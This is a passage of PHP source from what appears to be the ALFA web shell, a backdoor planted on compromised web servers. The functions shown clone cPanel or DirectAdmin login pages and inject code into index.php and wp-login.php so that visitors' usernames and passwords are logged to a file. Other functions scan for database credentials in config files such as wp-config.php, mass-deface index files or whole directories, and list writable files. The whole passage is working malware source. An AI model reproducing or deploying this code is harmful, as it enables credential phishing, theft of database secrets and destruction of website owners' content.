style=\"width:100px;\" name=\"panel\">';\r\n\t$cm_array = array(\"cpanel\"=>\"Cpanel\",\"directadmin\"=>\"DirectAdmin\");\r\n\tforeach($cm_array as $key=>$val)echo '<option value=\"'.$key.'\">'.$val.'<\/option>';\r\n\techo(\"<\/select><\/div>\");\r\n\techo '<div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Clone page: <\/span><input size=\"50\" type=\"text\" name=\"clone_page\" placeholder=\"eg: https:\/\/target.com:2083 | https:\/\/target.com:2222\"><\/div>\r\n\t<div style=\"margin-bottom:6px;\"><span>Fake page root: <\/span><input size=\"50\" type=\"text\" name=\"fake_root\" value=\"'.$_SERVER[\"DOCUMENT_ROOT\"].'\/fake_page_root\/\"><\/div>\r\n\t<div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Inject to: <\/span><input size=\"50\" type=\"text\" name=\"inject_to\" value=\"'.$_SERVER[\"DOCUMENT_ROOT\"].'\/index.php\"><\/div>\r\n\t<div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Bind on: <\/span><input size=\"50\" type=\"text\" name=\"bind_on\" placeholder=\"eg: '.$_SERVER[\"DOCUMENT_ROOT\"].'\/wp-login.php\"><\/div>\r\n\t<div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Log To: <\/span><input size=\"50\" type=\"text\" name=\"logto\" value=\"'.$GLOBALS['cwd'].'logs.txt\"><\/div>\r\n\t<div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Count of Invalid login: <\/span><input size=\"20\" type=\"text\" name=\"count\" value=\"3\" style=\"text-align:center;\"><\/div>\r\n\t<div style=\"text-align:center;\"><input type=\"submit\" name=\"btn\" value=\" \"><\/div><\/div><\/form><br>';\r\n\t$clone_page = $_POST['alfa1'];\r\n\t$fake_root = $_POST['alfa2'];\r\n\t$logto = $_POST['alfa4'];\r\n\t$panel = $_POST['alfa5'];\r\n\t$inject_to = $_POST['alfa6'];\r\n\t$bind_on = $_POST['alfa7'];\r\n\t$count = $_POST['alfa8'];\r\n\tif(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){\r\n\t\techo __pre();\r\n\t\t$target = $clone_page;\r\n\t\t$curl = new AlfaCURL();\r\n\t\t$source_page = $curl->Send($target);\r\n\t\tif(!empty($source_page)){\r\n\t\t\t$matched_form = \"\";\r\n\t\t\tif($panel == \"cpanel\"){\r\n\t\t\t\tif(preg_match('#<form(.*)id=\"login_form\"(.*)>#', $source_page, $match)){\r\n\t\t\t\t\t$matched_form = $match[0];\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tif(preg_match('#<form(.*?)>#', $source_page, $match)){\r\n\t\t\t\t\t$matched_form = $match[0];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!empty($matched_form)){\r\n\t\t\t\t$fake = \"\";\r\n\t\t\t\t$pwd = str_replace($_SERVER[\"DOCUMENT_ROOT\"], '', $fake_root);\r\n\t\t\t\t$uri = str_replace($_SERVER[\"DOCUMENT_ROOT\"], '', $inject_to);\r\n\t\t\t\tif($panel == \"cpanel\"){\r\n\t\t\t\t\t$port = \"2083\";\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$target = str_replace(array(\"http:\/\/\", \"https:\/\/\"), \"\", $target);\r\n\t\t\t\t\t$port = explode(\":\",$target);\r\n\t\t\t\t\t$port = $port[1];\r\n\t\t\t\t}\r\n\t\t\t\tif(substr($uri, 0, 1) == \"\/\"){\r\n\t\t\t\t\t$uri = substr($uri, 1);\r\n\t\t\t\t}\r\n\t\t\t\t$uri = $_SERVER[\"HTTP_ORIGIN\"] . '\/' . str_replace(\"index.php\", \"\", $uri) . '?:' . $port;\r\n\t\t\t\t$log_url = $_SERVER[\"HTTP_ORIGIN\"] . $pwd . '\/log.php';\r\n\t\t\t\tif($panel == \"cpanel\"){\r\n\t\t\t\t\t$form = '<form novalidate id=\"login_form\" action=\"'.$log_url.'\" method=\"post\" target=\"_top\" style=\"visibility:\">';\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$form = '<form action=\"'.$log_url.'\" method=\"post\">';\r\n\t\t\t\t}\r\n\t\t\t\t$fake = str_replace($matched_form, $form, $source_page);\r\n\t\t\t\tif(@!is_dir($fake_root)){\r\n\t\t\t\t\t@mkdir($fake_root, 0777, true);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$cookie_name = \"alfa_fakepage_counter\" . rand(9999,99999);\r\n\r\n\t\t\t\t$post_user = 'user';\r\n\t\t\t\t$post_pass = 'pass';\r\n\t\t\t\t$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array(\"message\" => \"no_username\"));}else{http_response_code(401);}';\r\n\t\t\t\tif($panel != \"cpanel\"){\r\n\t\t\t\t\t$post_user = 'username';\r\n\t\t\t\t\t$post_pass = 'password';\r\n\t\t\t\t\t$resp_code = '@header(\"Location: \".$_SERVER[\\'HTTP_REFERER\\']);';\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST[\"'.$post_user.'\"];$pass = $_POST[\"'.$post_pass.'\"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE[\"'.$cookie_name.'\"])){@setcookie(\"'.$cookie_name.'\", 0, $cook_time, \"\/\");$_COOKIE[\"'.$cookie_name.'\"]=1;}if((int)$_COOKIE[\"'.$cookie_name.'\"]>'.$count.'){@header(\"Location: \/\");exit;}@setcookie(\"'.$cookie_name.'\", ((int)$_COOKIE[\"'.$cookie_name.'\"] + 1), $cook_time, \"\/\");$fp = @fopen(\"'.$logto.'\", \"a+\");@fwrite($fp, $user . \" : \" . $pass . \"\\n\");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';\r\n\r\n\t\t\t\t@file_put_contents($fake_root.'\/log.php', $cpanel_log);\r\n\r\n\t\t\t\tif($panel == \"cpanel\"){\r\n\t\t\t\t\t$fake = preg_replace(array('#<link(.*)href=\"(.*)\"(.*)>#', '#<img class=\"main-logo\" src=\"(.*)\"(.*)>#', '# <a(.*)id=\"reset_password\">#'), array('<link href=\"'.$target.'\/$2\">', '<img class=\"main-logo\" src=\"'.$target.'\/$1\" alt=\"logo\" \/>', '<a href=\"#\" id=\"reset_password\">'), $fake);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t@file_put_contents($fake_root.'\/index.php', $fake);\r\n\r\n\t\t\t\t$inject_code = '<?php if(isset($_GET[\":2083\"])&&(int)$_COOKIE[\"'.$cookie_name.'\"]<'.$count.'){@include(\"'.$fake_root.'\/index.php\");exit;}?>';\r\n\t\t\t\t$bind_on_code = '<?php if((int)$_COOKIE[\"'.$cookie_name.'\"]<'.$count.'){@header(\"Location: '.$uri.'\");exit;}?>';\r\n\r\n\t\t\t\t@file_put_contents($inject_to, $inject_code . \"\\n\" .@file_get_contents($inject_to));\r\n\t\t\t\t@file_put_contents($bind_on, $bind_on_code . \"\\n\" .@file_get_contents($bind_on));\r\n\r\n\t\t\t\techo \"success...!\";\r\n\t\t\t}else{\r\n\t\t\t\techo \"failed...!\";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo(\"<div style='text-align:center;color:red;'>Cannot open the target...!<\/div>\");\r\n\t\t}\r\n\t}\r\n\techo '<\/div>';\r\n\talfafooter();\r\n}\r\nfunction alfaarchive_manager(){\r\n\talfahead();\r\n\t$file = $_POST['alfa2'];\r\n\tif(!file_exists($file)){\r\n\t\t$file = $GLOBALS['cwd'];\r\n\t}\r\n\t$rand_id = rand(9999, 999999);\r\n\techo '<div class=header><center><p><div class=\"txtfont_header\">| Archive Manager |<\/div><\/p>';\r\n\techo '<form name=\"srch\" onSubmit=\"g(\\'archive_manager\\',null,null,this.file.value,null,null,\\'>>\\');return false;\" method=\\'post\\'>\r\n\t<div class=\"txtfont\">\r\n\tArchive file: <input size=\"50\" id=\"target\" type=\"text\" name=\"file\" value=\"'.$file.'\">\r\n\t<input type=\"submit\" name=\"btn\" value=\" \"><\/div><\/form><\/center><br>';\r\n\tif($_POST['alfa5']=='>>'){\r\n\t\t\/\/echo __pre();\r\n\t\techo '<hr><div style=\"margin-left: 12px;\" archive_full=\"phar:\/\/'.$file.'\" archive_name=\"'.basename($file).'\" id=\"archive_dir_'.$rand_id.'\" class=\"archive_dir_holder\"><span>PWD: <\/span><div class=\"archive_pwd_holder\" style=\"display:inline-block\"><a>\/<\/a><\/div><\/div>';\r\n\t\techo '<div style=\"padding: 10px;\" id=\"archive_base_'.$rand_id.'\">';\r\n\t\t__alfa_open_archive_file($file, $rand_id);\r\n\t\techo '<\/div>';\r\n\t}\r\n\techo '<\/div>';\r\n\talfafooter();\r\n}\r\nfunction __alfa_open_archive_file($arch, $base_id=0){\r\n\ttry{\r\n\t\t$files = array();\r\n\t\t$dirs = array();\r\n\t\t$archive = new PharData($arch);\r\n\t\t foreach($archive as $file) {\r\n\t\t\t $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));\r\n\t\t if($file->isDir()) {\r\n\t\t\t\t $dirs[] = array(\"name\" => $file->getFileName(), \"path\" => $file->getPathname(), \"type\" => \"dir\", \"modify\" => $file_modify);\r\n\t\t }else{\r\n\t\t\t\t $file_size = @filesize($file->getPathname());\r\n\t\t\t\t $files[] = array(\"name\" => $file->getFileName(), \"path\" => $file->getPathname(), \"type\" => \"file\", \"modify\" => $file_modify, \"size\" => $file_size);\r\n\t\t\t }\r\n\t\t }\r\n\t\t function __alfa_open_archive_usort($a, $b){\r\n\t\t\t return strcmp(strtolower($a['name']), strtolower($b['name']))*1;\r\n\t\t }\r\n\t\t usort($dirs, \"__alfa_open_archive_usort\");\r\n\t\t usort($files, \"__alfa_open_archive_usort\");\r\n\t\t $files = array_merge($dirs, $files);\r\n\t\t echo '<table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\"><tbody><tr><th>Name<\/th><th>Size<\/th><th>Modify<\/th><th>Actions<\/th><\/tr>';\r\n\t\t $icon = '<img class=\"archive-icons\" src=\"'.findicon('..','dir').'\" width=\"30\" height=\"30\">';\r\n\t\t echo '<tr><th><a base_id=\"'.$base_id.'\" class=\"archive-file-row\" fname=\"..\" onclick=\"alfaOpenArchive(this);\" path=\"'.dirname($arch.'.php').'\">'.$icon.'<span class=\"archive-name archive-type-dir\">| .. |<\/span><\/a><td>dir<\/td><td>-<\/td><td>-<\/td><\/tr>';\r\n\t\t foreach($files as $file){\r\n\t\t\t $icon = '<img class=\"archive-icons\" src=\"'.findicon($file['name'],$file['type']).'\" width=\"30\" height=\"30\">';\r\n\t\t\t if($file[\"type\"] == \"dir\"){\r\n\t\t\t \techo '<tr><th><a base_id=\"'.$base_id.'\" class=\"archive-file-row\" onclick=\"alfaOpenArchive(this);\" path=\"'.$file[\"path\"].'\" fname=\"'.$file[\"name\"].'\">'.$icon.'<span class=\"archive-name archive-type-dir\">| '.$file[\"name\"].' |<\/span><\/a><td>dir<\/td><td>'.$file[\"modify\"].'<\/td><td>-<\/td><\/tr>';\r\n\t\t \t}else{\r\n\t\t\t\techo \"<tr><th><a base_id='\".$base_id.\"' class='archive-file-row' onclick=\\\"editor('\".$file[\"path\"].\"','auto','','','','file');\\\">\".$icon.\"<span class='archive-name archive-type-file' fname='\".$file[\"name\"].\"'>\".$file[\"name\"].\"<\/span><\/a><td>\".alfaSize($file[\"size\"]).\"<\/td><td>\".$file[\"modify\"].\"<\/td><td>-<\/td><\/tr>\";\r\n\r\n\t\t\t}\r\n\t\t }\r\n\t\t echo '<\/table>';\r\n\t}catch(Exception $e){\r\n\t\techo(\"0\");\r\n\t}\r\n}\r\nfunction alfaopen_archive_dir(){\r\n\t$dir = $_POST[\"alfa1\"];\r\n\t$base_id = $_POST[\"alfa2\"];\r\n\t__alfa_open_archive_file($dir, $base_id);\r\n}\r\nfunction alfaconfig_grabber(){\r\n\talfahead();\r\n\techo '<div class=header><center><p><div class=\"txtfont_header\">| Config Grabber |<\/div><\/p>';\r\n\techo '<form name=\"srch\" onSubmit=\"g(\\'config_grabber\\',null,null,this.dir.value,this.ext.value,null,\\'>>\\');return false;\" method=\\'post\\'>\r\n\t<div class=\"txtfont\">\r\n\tDir: <input size=\"50\" id=\"target\" type=\"text\" name=\"dir\" value=\"'.$GLOBALS['cwd'].'\">\r\n\tExt: <small><font color=\"red\">[ * = all Ext ]<\/font><\/small> <input id=\"ext\" style=\"text-align:center;\" type=\"text\" name=\"ext\" size=\"5\" value=\"php\">\r\n\t<input type=\"submit\" name=\"btn\" value=\" \"><\/div><\/form><\/center><br>';\r\n\t$dir = $_POST['alfa2'];\r\n\t$ext = $_POST['alfa3'];\r\n\tif($_POST['alfa5']=='>>'){\r\n\t\techo __pre();\r\n\t\tAlfa_ConfigGrabber($dir, $ext);\r\n\t}\r\n\techo '<\/div>';\r\n\talfafooter();\r\n}\r\nfunction Alfa_ConfigGrabber($dir, $ext) {\r\n\t$pattern = \"#define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_HOST(?:'|\\\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_HOSTNAME(?:'|\\\")[ ]{0,}|config\\[(?:'|\\\")MasterServer(?:'|\\\")\\]\\[(?:'|\\\")password(?:'|\\\")\\]|(?:'|\\\")database(?:'|\\\")[ ]{0,}=>[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")|(?:'|\\\")(mysql|database)(?:'|\\\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i\";\r\n\t$db_files = array(\"wp-config.php\",\"configure.php\",\"config.inc.php\",\"configuration.php\",\"config.php\",\"conf.php\",\"dbclass.php\",\"class_core.php\",\"dist-configure.php\", \"settings.php\", \"conf_global.php\", \"db.php\", \"connect.php\", \"confing.db.php\", \"config.db.php\", \"database.php\");\r\n\tif(@is_readable($dir)){\r\n\t\t$globFiles = @glob(\"$dir\/*.$ext\");\r\n\t\t$globDirs = @glob(\"$dir\/*\", GLOB_ONLYDIR);\r\n\t\t$blacklist = array();\r\n\t\tforeach ($globDirs as $dir) {\r\n\t\t\tif(!@is_readable($dir)||@is_link($dir)) continue;\r\n\t\t\t@Alfa_ConfigGrabber($dir, $ext);\r\n\t\t}\r\n\t\tforeach ($globFiles as $file){\r\n\t\t\t$filee = @file_get_contents($file);\r\n\t\t\tif(preg_match($pattern, $filee)){\r\n\t\t\t\techo \"<div><span>$file<\/span> <a style='cursor:pointer;' onclick=\\\"editor('\".$file.\"','auto','','','','file');\\\">[ View file ]<\/a><\/div>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfasearcher(){\r\nalfahead();\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| Searcher |<\/div><\/p><h3><a href=javascript:void(0) onclick=\"g(\\'searcher\\',null,\\'file\\')\">| Find Readable Or Writable Files | <\/a><a href=javascript:void(0) onclick=\"g(\\'searcher\\',null,\\'str\\')\">| Find Files By Name | <\/a><\/h3><\/center>';\r\nif(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){\r\necho '<center><div class=\"txtfont_header\">| Find Readable Or Writable Files |<\/div><br><br><form name=\"srch\" onSubmit=\"g(\\'searcher\\',null,\\'file\\',this.filename.value,this.ext.value,this.method.value,\\'>>\\');return false;\" method=\\'post\\'>\r\n<div class=\"txtfont\">\r\nMethod: <select style=\"width: 18%;\" onclick=\"alfa_searcher_tool(this.value);\" name=\"method\"><option value=\"files\">Find All Writable Files<\/option><option value=\"dirs\">Find All Writable Dirs<\/option><option value=\"all\">Find All Readable And Writable Files<\/option><\/select>\r\nDir: <input size=\"50\" id=\"target\" type=\"text\" name=\"filename\" value=\"'.$GLOBALS['cwd'].'\">\r\nExt: <small><font color=\"red\">[ * = all Ext ]<\/font><\/small> <input id=\"ext\" style=\"text-align:center;\" type=\"text\" name=\"ext\" size=\"5\" value=\"php\">\r\n<input type=\"submit\" name=\"btn\" value=\" \"><\/div><\/form><\/center><br>';\r\n$dir = $_POST['alfa2'];\r\n$ext = $_POST['alfa3'];\r\n$method = $_POST['alfa4'];\r\nif($_POST['alfa5']=='>>'){\r\necho __pre();\r\nif(substr($dir,-1)=='\/')$dir=substr($dir,0,-1);\r\nAlfa_Searcher($dir,trim($ext),$method);\r\n}\r\n}\r\nif($_POST['alfa1']=='str'){\r\necho '<center><div class=\"txtfont_header\">| Find Files By Name \/ Find String In Files |<\/div><br><br><form onSubmit=\"g(\\'searcher\\',null,\\'str\\',this.dir.value,this.string.value,\\'>>\\',this.ext.value,this.method.value);return false;\" method=\\'post\\'>\r\n<div class=\"txtfont\">\r\nMethod: <select name=\"method\"><option value=\"name\">Find Files By Name<\/option><option value=\"str\">Find String In Files<\/option><\/select>\r\nString: <input type=\"text\" name=\"string\" value=\"\">\r\nDir: <input size=\"50\" type=\"text\" name=\"dir\" value=\"'.$GLOBALS['cwd'].'\">\r\nExt: <small><font color=\"red\">[ * = all Ext ]<\/font><\/small> <input id=\"ext\" style=\"text-align:center;\" type=\"text\" name=\"ext\" size=\"5\" value=\"php\">\r\n<input type=\"submit\" name=\"btn\" value=\" \"><\/div><\/form><\/center><br>';\r\n$dir = $_POST['alfa2'];\r\n$string = $_POST['alfa3'];\r\n$ext = $_POST['alfa5'];\r\nif(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){\r\necho __pre();\r\nAlfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);\r\n}\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfaMassDefacer(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho \"<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |<\/div><\/p><form onSubmit=\\\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\\\" method='post'>\";\r\necho '<div class=\"txtfont\">Deface Method: <select name=\"method\"><option value=\"index\">Deface Index Dirs<\/option><option value=\"all\">All Files<\/option><\/select>\r\n\tMass dir: <input size=\"50\" id=\"target\" type=\"text\" name=\"massdir\" value=\"'.htmlspecialchars($GLOBALS['cwd']).'\">\r\n\tDefPage: <input size=\"50\" type=\"text\" name=\"defpage\" value=\"'.htmlspecialchars($GLOBALS['cwd']).'\"><\/div> <input type=\"submit\" name=\"btn\" value=\" \"><\/center><\/p>\r\n<\/form>';\r\n$dir = $_POST['alfa1'];\r\n$defpage = $_POST['alfa2'];\r\n$method = $_POST['alfa3'];\r\n$fCurrent = $GLOBALS['__file_path'];\r\nif($_POST['alfa4'] == '>>'){\r\nif(!empty($dir)){\r\nif(@is_dir($dir)){\r\nif(@is_readable($dir)){\r\nif(@is_file($defpage)){\r\nif($dh = @opendir($dir)){\r\necho __pre();\r\nwhile (($file = @readdir($dh)) !== false){\r\nif($file == '..' || $file == '.')continue;\r\n$newfile=$dir.$file;\r\nif($fCurrent == $newfile)continue;\r\nif(@is_dir($newfile)){\r\nAlfa_ReadDir($newfile,$method,$defpage);\r\n}else{\r\nif(!@is_writable($newfile))continue;\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}else{__alert('<font color=\"red\">Error In OpenDir...<\/font>');}\r\n}else{__alert('<font color=\"red\">DefPage File NotFound...<\/font>');}\r\n}else{__alert('<font color=\"red\">Directory is not Readable...<\/font>');}\r\n}else{__alert('<font color=\"red\">Mass Dir is Invalid Dir...<\/font>');}\r\n}else{__alert('<font color=\"red\">Dir is Empty...<\/font>');}\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction Alfa_ReadDir($dir,$method='',$defpage=''){\r\nif(!@is_readable($dir)) return false;\r\nif (@is_dir($dir)) {\r\nif ($dh = @opendir($dir)) {\r\nwhile(($file=readdir($dh))!==false) {\r\nif($file == '..' || $file == '.')continue;\r\n$newfile=$dir.'\/'.$file;\r\nif(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);\r\nif(@is_file($newfile)){\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}\r\n}\r\n}\r\nfunction Alfa_Rewriter($dir,$file,$defpage,$m='index'){\r\nif(!@is_writable($dir)) return false;\r\nif(!@is_readable($dir)) return false;\r\n$defpage=@file_get_contents($defpage);\r\nif($m == 'index'){\r\n$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');\r\nif(in_array(strtolower($file),$indexs)){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir.\"<b><font color='red'>DeFaced...<\/b><\/font><br>\" : '';\r\n}\r\n}elseif($m=='all'){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir.\" <b><font color='red'>DeFaced...<\/b><\/font><br>\" : '';\r\n}\r\n}\r\nfunction alfaGetDisFunc(){\r\nalfahead();\r\necho '<div class=\"header\">';\r\n$disfun = @ini_get('disable_functions');\r\n$s = explode(',',$disfun);\r\n$f = array_unique($s);\r\necho '<center><br><b><font color=\"#7CFC00\">Disable Functions<\/font><\/b><pre><table border=\"1\"><tr><td align=\"center\" style=\"background-color: green;color: white;width:5%\">#<\/td><td align=\"center\" style=\"background-color: green;color: white;\">Func Name<\/td><\/tr>';\r\n$i=1;\r\nforeach($f as $s){\r\n$s=trim($s);\r\nif(function_exists($s)||!is_callable($s))continue;\r\necho '<tr><td align=\"center\" style=\"background-color: black;\">'.$i.'<\/td>';\r\necho '<td align=\"center\" style=\"background-color: black;\"><a style=\"text-decoration: none;\" target=\"_blank\" href=\"http:\/\/php.net\/manual\/en\/function.'.str_replace('_','-',$s).'.php\"><span class=\"disable_functions\"><b>'.$s.'<\/b><\/span><\/a><\/td>';\r\n$i++;\r\n}\r\necho '<\/table><\/center>';\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction Alfa_Create_A_Tag($action,$vals){\r\n$nulls = array();\r\nforeach($vals as $key => $val){\r\necho '<a href=javascript:void(0) onclick=\"g(\\''.$action.'\\',';\r\nfor($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';\r\n$f = implode(',',$nulls);\r\necho $f.',\\''.$val[0].'\\');return false;\">| '.$key.' | <\/a>';\r\nunset($nulls);\r\n}\r\n}\r\nfunction Alfa_Searcher($dir, $ext, $method) {\r\nif(@is_readable($dir)){\r\nif($method == 'all')$ext = '*';\r\nif($method == 'dirs')$ext = '*';\r\n$globFiles = @glob(\"$dir\/*.$ext\");\r\n$globDirs = @glob(\"$dir\/*\", GLOB_ONLYDIR);\r\n$blacklist = array();\r\nforeach ($globDirs as $dir) {\r\nif(!@is_readable($dir)||@is_link($dir)) continue;\r\n@Alfa_Searcher($dir, $ext, $method);\r\n}\r\nswitch($method){\r\ncase \"files\":\r\nforeach ($globFiles as $file){\r\nif(@is_writable($file)){\r\necho \"$file<br>\";\r\n}\r\n}\r\nbreak;\r\ncase \"dirs\":\r\nforeach ($globFiles as $file){\r\nif(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){\r\necho dirname($file).'<br>';\r\n$blacklist[] = dirname($file);\r\n}\r\n}\r\nbreak;\r\ncase \"all\":\r\nforeach ($globFiles as $file){\r\necho $file.'<br>';\r\n}\r\nbreak;\r\n}\r\nunset($blacklist);\r\n}\r\n}\r\nfunction AlfaiFrameCreator($f,$width='100%',$height='600px'){\r\nreturn('<iframe src=\"'.__ALFA_DATA_FOLDER__.\"\/\".$f.'\" width=\"'.$width.'\" height=\"'.$height.'\" frameborder=\"0\"><\/iframe>');\r\n}\r\nclass AlfaCURL {\r\npublic $headers;\r\npublic $user_agent;\r\npublic $compression;\r\npublic $cookie_file;\r\npublic $proxy;\r\npublic $path;\r\npublic $ssl = true;\r\npublic $curl_status = true;\r\nfunction __construct($cookies=false,$compression='gzip',$proxy=''){\r\nif(!extension_loaded('curl')){$curl_status = false;return false;}\r\n$this->headers[] = 'Accept: image\/gif, image\/x-bitmap, image\/jpeg, image\/pjpeg';\r\n$this->headers[] = 'Connection: Keep-Alive';\r\n$this->headers[] = 'Content-type: application\/x-www-form-urlencoded;charset=UTF-8';\r\n$this->user_agent = 'Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/83.0.4103.61 Safari\/537.36)';\r\n$this->path = ALFA_TEMPDIR.'\/Alfa_cookies.txt';\r\n$this->compression=$compression;\r\n$this->proxy=$proxy;\r\n$this->cookies=$cookies;\r\nif($this->cookies)$this->cookie($this->path);\r\n}\r\nfunction cookie($cookie_file) {\r\nif (_alfa_file_exists($cookie_file,false)) {\r\n$this->cookie_file=$cookie_file;\r\n}else{\r\n@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));\r\n$this->cookie_file=$cookie_file;\r\n@fclose($this->cookie_file);\r\n}\r\n}\r\nfunction Send($url,$method=\"get\",$data=\"\"){\r\nif(!$this->curl_status){return false;}\r\n$process = curl_init($url);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);\r\ncurl_setopt($process, CURLOPT_HEADER, 0);\r\ncurl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);\r\ncurl_setopt($process, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($process, CURLOPT_ENCODING , $this->compression);\r\ncurl_setopt($process, CURLOPT_TIMEOUT, 30);\r\nif($this->ssl){\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);\r\n}\r\nif($this->cookies){\r\ncurl_setopt($process, CURLOPT_COOKIEFILE, $this->path);\r\ncurl_setopt($process, CURLOPT_COOKIEJAR, $this->path);\r\n}\r\nif($this->proxy){\r\ncurl_setopt($process, CURLOPT_PROXY, $this->proxy);\r\n}\r\nif($method=='post'){\r\ncurl_setopt($process, CURLOPT_POSTFIELDS, $data);\r\ncurl_setopt($process, CURLOPT_POST, 1);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application\/x-www-form-urlencoded'));\r\n}\r\n$return = @curl_exec($process);\r\ncurl_close($process);\r\nreturn $return;\r\n}\r\nfunction error($error) {\r\necho \"<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error<\/b><br>$error<\/div><\/center>\";\r\ndie;\r\n}\r\n}\r\nfunction getConfigHtml($cms){\r\n$content = '';\r\n$cms_array = array(\"wp\" => \"WordPress\", \"vb\" => \"vBulletin\", \"whmcs\" => \"Whmcs\", \"joomla\" => \"Joomla\", \"phpnuke\" => \"PHPNuke\",\"phpbb\"=>\"PHPBB\",\"mybb\"=>\"MyBB\",\"drupal\"=>\"Drupal\",\"smf\"=>\"SMF\");\r\n$content .= \"<form class='getconfig' onSubmit='g(\\\"GetConfig\\\",null,this.cms.value,this.path.value,this.getAttribute(\\\"base_id\\\"));return false;'><div class='txtfont'>Cms: <\/div> <select name='cms'style='width:100px;'>\";\r\nforeach($cms_array as $key => $val){\r\n$content .= \"<option value='{$key}' \".($key==$cms?'selected=selected':'').\">{$val}<\/option>\";\r\n}\r\n$content .= \"<\/select> <div class='txtfont'>Path(installed cms\/Config): <\/div> <input type='text' name='path' value='\".$_SERVER['DOCUMENT_ROOT'].\"\/' size='30' \/> <button class='button'>GetConfig<\/button>\";\r\n$content .= \"<\/form>\";\r\nreturn $content;\r\n}\r\nif (!function_exists('json_encode')){\r\n function json_encode($a=false){\r\n if (is_null($a)) return 'null';\r\n if ($a === false) return 'false';\r\n if ($a === true) return 'true';\r\n if (is_scalar($a))\r\n {\r\n if (is_float($a))\r\n {\r\n return floatval(str_replace(\",\", \".\", strval($a)));\r\n }\r\n\r\n if (is_string($a))\r\n {\r\n static $jsonReplaces = array(array(\"\\\\\", \"\/\", \"\\n\", \"\\t\", \"\\r\", \"\\b\", \"\\f\", '\"'), array('\\\\\\\\', '\\\\\/', '\\\\n', '\\\\t', '\\\\r', '\\\\b', '\\\\f', '\\\"'));\r\n return '\"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '\"';\r\n }\r\n else\r\n return $a;\r\n }\r\n $isList = true;\r\n for ($i = 0, reset($a); $i < count($a); $i++, next($a))\r\n {\r\n if (key($a) !== $i)\r\n {\r\n $isList = false;\r\n break;\r\n }\r\n }\r\n $result = array();\r\n if ($isList)\r\n {\r\n foreach ($a as $v) $result[] = json_encode($v);\r\n return '[' . join(',', $result) . ']';\r\n }\r\n else\r\n {\r\n foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);\r\n return '{' . join(',', $result) . '}';\r\n }\r\n }\r\n}\r\nif ( !function_exists('json_decode') ){\r\nfunction json_decode($json, $array=true){\r\n $comment = false;\r\n $out = '$x=';\r\n for ($i=0; $i<strlen($json); $i++)\r\n {\r\n if (!$comment)\r\n {\r\n if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}\r\n else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}\r\n else if ($json[$i] == ':'){$out .= '=>';}\r\n else {$out .= $json[$i];}\r\n }\r\n else $out .= $json[$i];\r\n if ($json[$i] == '\"') $comment = !$comment;\r\n }\r\n eval($out . ';');\r\n return $x;\r\n}\r\n}\r\nfunction alfaterminalExec(){\r\n\t$pwd = 